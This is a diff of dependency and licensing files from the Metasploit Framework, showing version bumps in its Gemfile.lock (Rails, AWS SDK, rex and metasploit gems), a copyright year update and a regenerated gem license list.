actionpack (7.0.8.6)
|
||||
actionview (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
actionpack (7.1.5.1)
|
||||
actionview (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
nokogiri (>= 1.8.5)
|
||||
racc
|
||||
rack (>= 2.2.4)
|
||||
rack-session (>= 1.0.1)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
rails-dom-testing (~> 2.2)
|
||||
rails-html-sanitizer (~> 1.6)
|
||||
actionview (7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activerecord (7.0.8.6)
|
||||
activemodel (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activesupport (7.0.8.6)
|
||||
erubi (~> 1.11)
|
||||
rails-dom-testing (~> 2.2)
|
||||
rails-html-sanitizer (~> 1.6)
|
||||
activemodel (7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
activerecord (7.1.5.1)
|
||||
activemodel (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
timeout (>= 0.4.0)
|
||||
activesupport (7.1.5.1)
|
||||
base64
|
||||
benchmark (>= 0.3)
|
||||
bigdecimal
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
connection_pool (>= 2.2.5)
|
||||
drb
|
||||
i18n (>= 1.6, < 2)
|
||||
logger (>= 1.4.2)
|
||||
minitest (>= 5.1)
|
||||
mutex_m
|
||||
securerandom (>= 0.3)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
allure-rspec (2.26.0)
|
||||
allure-ruby-commons (= 2.26.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.24.5)
|
||||
allure-ruby-commons (2.26.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.15.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.999.0)
|
||||
aws-sdk-core (3.211.0)
|
||||
arel-helpers (2.16.0)
|
||||
activerecord (>= 3.1.0, < 8.1)
|
||||
ast (2.4.3)
|
||||
aws-eventstream (1.3.2)
|
||||
aws-partitions (1.1065.0)
|
||||
aws-sdk-core (3.220.1)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
base64
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.486.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2 (1.511.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.52.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2instanceconnect (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-iam (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.95.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-kms (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.169.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-s3 (1.182.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.183.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ssm (1.191.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.10.1)
|
||||
aws-sigv4 (1.11.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
benchmark (0.4.0)
|
||||
bigdecimal (3.1.8)
|
||||
bigdecimal (3.1.9)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.0.1)
|
||||
bson (5.0.2)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.3.4)
|
||||
connection_pool (2.5.0)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
date (3.4.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.2)
|
||||
diff-lcs (1.6.0)
|
||||
dnsruby (1.72.4)
|
||||
base64 (~> 0.2.0)
|
||||
logger (~> 1.6.5)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
@@ -227,10 +243,10 @@ GEM
|
||||
em-socksify (0.3.3)
|
||||
base64
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.13.0)
|
||||
erubi (1.13.1)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.5.0)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot (6.5.1)
|
||||
activesupport (>= 6.1.0)
|
||||
factory_bot_rails (6.4.4)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 5.0.0)
|
||||
@@ -250,6 +266,7 @@ GEM
|
||||
fiddle (1.1.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
forwardable (1.3.3)
|
||||
getoptlong (0.2.1)
|
||||
gssapi (1.3.1)
|
||||
ffi (>= 1.0.1)
|
||||
@@ -261,53 +278,58 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.7)
|
||||
http-cookie (1.0.8)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.6)
|
||||
httpclient (2.9.0)
|
||||
mutex_m
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.7.2)
|
||||
io-console (0.8.0)
|
||||
ipaddr (1.2.7)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.7.5)
|
||||
language_server-protocol (3.17.0.3)
|
||||
json (2.10.2)
|
||||
language_server-protocol (3.17.0.5)
|
||||
lint_roller (1.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logger (1.6.1)
|
||||
logger (1.6.6)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.23.1)
|
||||
loofah (2.24.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.3)
|
||||
metasploit-concern (5.0.4)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.11)
|
||||
metasploit-credential (6.0.16)
|
||||
bigdecimal
|
||||
csv
|
||||
drb
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
mutex_m
|
||||
net-ssh
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (5.0.2)
|
||||
metasploit-model (5.0.3)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.189)
|
||||
metasploit_data_models (6.0.6)
|
||||
metasploit-payloads (2.0.221)
|
||||
metasploit_data_models (6.0.9)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -322,17 +344,17 @@ GEM
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mime-types-data (3.2025.0304)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.1)
|
||||
minitest (5.25.5)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
mutex_m (0.3.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.5.0)
|
||||
net-imap (0.5.6)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.19.0)
|
||||
@@ -340,13 +362,13 @@ GEM
|
||||
timeout
|
||||
net-sftp (4.0.0)
|
||||
net-ssh (>= 5.0.0, < 8.0.0)
|
||||
net-smtp (0.5.0)
|
||||
net-smtp (0.5.1)
|
||||
net-protocol
|
||||
net-ssh (7.3.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.18.2)
|
||||
nokogiri (1.18.3)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
@@ -360,19 +382,20 @@ GEM
|
||||
ostruct (0.6.1)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.26.3)
|
||||
parser (3.3.5.0)
|
||||
parallel (1.27.0)
|
||||
parser (3.3.8.0)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.3)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
pdf-reader (2.14.1)
|
||||
Ascii85 (>= 1.0, < 3.0, != 2.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.5.9)
|
||||
prism (1.4.0)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -380,97 +403,109 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.4.3)
|
||||
puma (6.6.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.8.1)
|
||||
rack (2.2.10)
|
||||
rack (2.2.13)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack-session (1.0.2)
|
||||
rack (< 3)
|
||||
rack-test (2.2.0)
|
||||
rack (>= 1.3)
|
||||
rackup (1.0.1)
|
||||
rack (< 3)
|
||||
webrick
|
||||
rails-dom-testing (2.2.0)
|
||||
activesupport (>= 5.0.0)
|
||||
minitest
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
rails-html-sanitizer (1.6.2)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8.6)
|
||||
actionpack (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
method_source
|
||||
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
|
||||
railties (7.1.5.1)
|
||||
actionpack (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
irb
|
||||
rackup (>= 1.0.0)
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
thor (~> 1.0, >= 1.2.2)
|
||||
zeitwerk (~> 2.6)
|
||||
rainbow (3.1.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
rasn1 (0.14.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.11)
|
||||
recog (3.1.14)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.10)
|
||||
redcarpet (3.6.1)
|
||||
regexp_parser (2.10.0)
|
||||
reline (0.6.0)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.16)
|
||||
rex-arch (0.1.18)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.9)
|
||||
rex-bin_tools (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
rex-core (0.1.34)
|
||||
rex-encoder (0.1.8)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.40)
|
||||
rex-exploitation (0.1.41)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.7)
|
||||
rex-mime (0.1.8)
|
||||
rex-java (0.1.8)
|
||||
rex-mime (0.1.11)
|
||||
rex-text
|
||||
rex-nop (0.1.3)
|
||||
rex-nop (0.1.4)
|
||||
rex-arch
|
||||
rex-ole (0.1.8)
|
||||
rex-ole (0.1.9)
|
||||
rex-text
|
||||
rex-powershell (0.1.100)
|
||||
rex-powershell (0.1.101)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.13)
|
||||
rex-random_identifier (0.1.16)
|
||||
bigdecimal
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
rex-registry (0.1.6)
|
||||
rex-rop_builder (0.1.6)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.58)
|
||||
rex-socket (0.1.62)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-sslscan (0.1.13)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.59)
|
||||
rex-zip (0.1.5)
|
||||
rex-struct2 (0.1.5)
|
||||
rex-text (0.2.61)
|
||||
bigdecimal
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
rexml (3.3.9)
|
||||
rexml (3.4.1)
|
||||
rinda (0.2.0)
|
||||
drb
|
||||
forwardable
|
||||
ipaddr
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.2)
|
||||
rspec-core (3.13.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
@@ -478,7 +513,7 @@ GEM
|
||||
rspec-mocks (3.13.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.0.1)
|
||||
rspec-rails (7.1.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
@@ -488,26 +523,28 @@ GEM
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.13.1)
|
||||
rubocop (1.67.0)
|
||||
rspec-support (3.13.2)
|
||||
rubocop (1.75.7)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
language_server-protocol (~> 3.17.0.2)
|
||||
lint_roller (~> 1.1.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.3.0.2)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 2.4, < 3.0)
|
||||
rubocop-ast (>= 1.32.2, < 2.0)
|
||||
regexp_parser (>= 2.9.3, < 3.0)
|
||||
rubocop-ast (>= 1.44.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.33.0)
|
||||
parser (>= 3.3.1.0)
|
||||
unicode-display_width (>= 2.4.0, < 4.0)
|
||||
rubocop-ast (1.44.1)
|
||||
parser (>= 3.3.7.2)
|
||||
prism (~> 1.4)
|
||||
ruby-macho (4.1.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-mysql (4.2.0)
|
||||
ruby-prof (1.7.1)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.13)
|
||||
ruby_smb (3.3.15)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -515,10 +552,11 @@ GEM
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.5)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
rubyzip (2.4.1)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
securerandom (0.4.1)
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
@@ -534,30 +572,30 @@ GEM
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.4.2)
|
||||
test-prof (1.4.4)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.3.2)
|
||||
tilt (2.4.0)
|
||||
tilt (2.6.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.1)
|
||||
timeout (0.4.3)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2024.2)
|
||||
tzinfo-data (1.2025.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (2.6.0)
|
||||
unicode-display_width (3.1.4)
|
||||
unicode-emoji (~> 4.0, >= 4.0.4)
|
||||
unicode-emoji (4.0.4)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.8.2)
|
||||
websocket-driver (0.7.6)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
@@ -578,7 +616,7 @@ GEM
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.37)
|
||||
zeitwerk (2.6.18)
|
||||
zeitwerk (2.7.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -596,8 +634,8 @@ DEPENDENCIES
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
ruby-prof (= 1.4.2)
|
||||
rubocop (= 1.75.7)
|
||||
ruby-prof
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
timecop
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: https://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2020, Rapid7, Inc.
|
||||
Copyright: 2006-2025, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
||||
+106
-99
@@ -1,50 +1,51 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.1, MIT
|
||||
Ascii85, 2.0.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
abbrev, 0.1.2, "ruby, Simplified BSD"
|
||||
actionpack, 7.0.8.6, MIT
|
||||
actionview, 7.0.8.6, MIT
|
||||
activemodel, 7.0.8.6, MIT
|
||||
activerecord, 7.0.8.6, MIT
|
||||
activesupport, 7.0.8.6, MIT
|
||||
actionpack, 7.1.5.1, MIT
|
||||
actionview, 7.1.5.1, MIT
|
||||
activemodel, 7.1.5.1, MIT
|
||||
activerecord, 7.1.5.1, MIT
|
||||
activesupport, 7.1.5.1, MIT
|
||||
addressable, 2.8.7, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.24.5, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.5, "Apache 2.0"
|
||||
arel-helpers, 2.15.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.999.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.211.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.486.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.112.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.95.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.169.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.183.0, "Apache 2.0"
|
||||
aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
allure-rspec, 2.26.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.26.0, "Apache 2.0"
|
||||
arel-helpers, 2.16.0, MIT
|
||||
ast, 2.4.3, MIT
|
||||
aws-eventstream, 1.3.2, "Apache 2.0"
|
||||
aws-partitions, 1.1065.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.220.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.511.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.119.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.99.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.182.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.191.0, "Apache 2.0"
|
||||
aws-sigv4, 1.11.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
benchmark, 0.4.0, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.9, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.1, "Apache 2.0"
|
||||
bson, 5.0.2, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.10, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.3.4, MIT
|
||||
connection_pool, 2.5.0, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
csv, 3.3.2, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.4, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
drb, 2.2.1, "ruby, Simplified BSD"
|
||||
@@ -52,9 +53,9 @@ ed25519, 1.3.0, MIT
|
||||
elftools, 1.3.1, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.3, MIT
|
||||
erubi, 1.13.0, MIT
|
||||
erubi, 1.13.1, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.5.0, MIT
|
||||
factory_bot, 6.5.1, MIT
|
||||
factory_bot_rails, 6.4.4, MIT
|
||||
faker, 3.5.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
@@ -65,57 +66,59 @@ ffi, 1.16.3, "New BSD"
|
||||
fiddle, 1.1.6, "ruby, Simplified BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
forwardable, 1.3.3, "ruby, Simplified BSD"
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
gssapi, 1.3.1, MIT
|
||||
gyoku, 1.4.0, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.7, MIT
|
||||
http-cookie, 1.0.8, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.6, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
httpclient, 2.9.0, ruby
|
||||
i18n, 1.14.7, MIT
|
||||
io-console, 0.8.0, "ruby, Simplified BSD"
|
||||
ipaddr, 1.2.7, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.7.5, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
json, 2.10.2, ruby
|
||||
language_server-protocol, 3.17.0.5, MIT
|
||||
lint_roller, 1.1.0, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logger, 1.6.1, "ruby, Simplified BSD"
|
||||
logger, 1.6.6, "ruby, Simplified BSD"
|
||||
logging, 2.4.0, MIT
|
||||
loofah, 2.23.1, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
loofah, 2.24.0, MIT
|
||||
memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.52, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.6, "New BSD"
|
||||
metasploit-concern, 5.0.4, "New BSD"
|
||||
metasploit-credential, 6.0.16, "New BSD"
|
||||
metasploit-framework, 6.4.70, "New BSD"
|
||||
metasploit-model, 5.0.3, "New BSD"
|
||||
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.9, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mime-types-data, 3.2025.0304, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
minitest, 5.25.5, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.3, MIT
|
||||
mutex_m, 0.2.0, "ruby, Simplified BSD"
|
||||
mutex_m, 0.3.0, "ruby, Simplified BSD"
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.5.0, "ruby, Simplified BSD"
|
||||
